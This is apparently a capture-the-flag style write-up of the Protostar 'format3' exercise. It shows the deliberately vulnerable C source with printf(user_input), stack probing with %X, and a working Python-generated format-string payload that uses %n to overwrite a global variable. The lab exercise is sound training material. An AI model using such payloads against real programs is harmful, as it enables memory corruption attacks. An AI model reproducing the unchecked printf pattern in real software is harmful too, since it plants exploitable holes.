Protostar vm, format3

Here is the source of the vulnerable program :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
printf(string);
}

void vuln()
{
char buffer[512];

fgets(buffer, sizeof(buffer), stdin);

printbuffer(buffer);

if(target == 0x01025544) {
printf("you have modified the target :)\n");
} else {
printf("target is %08x :(\n", target);
}
}

int main(int argc, char **argv)
{
vuln();
}

In this challenge, we will have to write a large number (an address) in a variable. I had to search a little more on format string attacks for this one. I recommend this book.

First of, let’s get target address and let’s see where does the printf function put our string in the stack:

1
2
3
4
5
6
7
user@protostar:~$ objdump -t /opt/protostar/bin/format3 | grep target
080496f4 g O .bss 00000004 target
user@protostar:~$ /opt/protostar/bin/./format3
ABABABAB%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.
ABABABAB0.BFFFF5C0.B7FD7FF4.0.0.BFFFF7C8.804849D.BFFFF5C0.200.B7FD8420.BFFFF604.42414241.42414241.252E5825.
target is 00000000 :(
user@protostar:~$

We have to write at 080496f4 and this address is accessible at the 12th parameter of printf. In order to write a very large number, we can’t just do what we did for format2. This time we’ll have to write several times using %n.

I wrote byte by byte the desired address in reverse ( I realize that it is probably not the best way to do this) using several %n writing at several addresses :

080496f4 -> 0x44

080496f5 -> 0x55

080496f6 -> 0x102

Note that we can’t write 0x02 to 080496f6 because of the way that %n works : it’s writing the number of bytes printed to this point, so each time we use %n, the number of printed bytes will be greater. To counter that, we just have to wrap the number with 1, and in this case, it gives us the desired value.

Let’s move on to the exploit :

My payload looks like this :

consecutive addresses to be written to + (padding using the minimum field width subtracted from the current printed bytes / %n with the right parameter number) * 3.

1
2
3
4
5
user@protostar:~$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08%56x%12$n%17x%13$n%173x%14$n"' > payload 
user@protostar:~$ cat payload - | /opt/protostar/bin/./format3������ 0 bffff5c0 b7fd7ff4
you have modified the target :)

user@protostar:~$

It’s working as planned.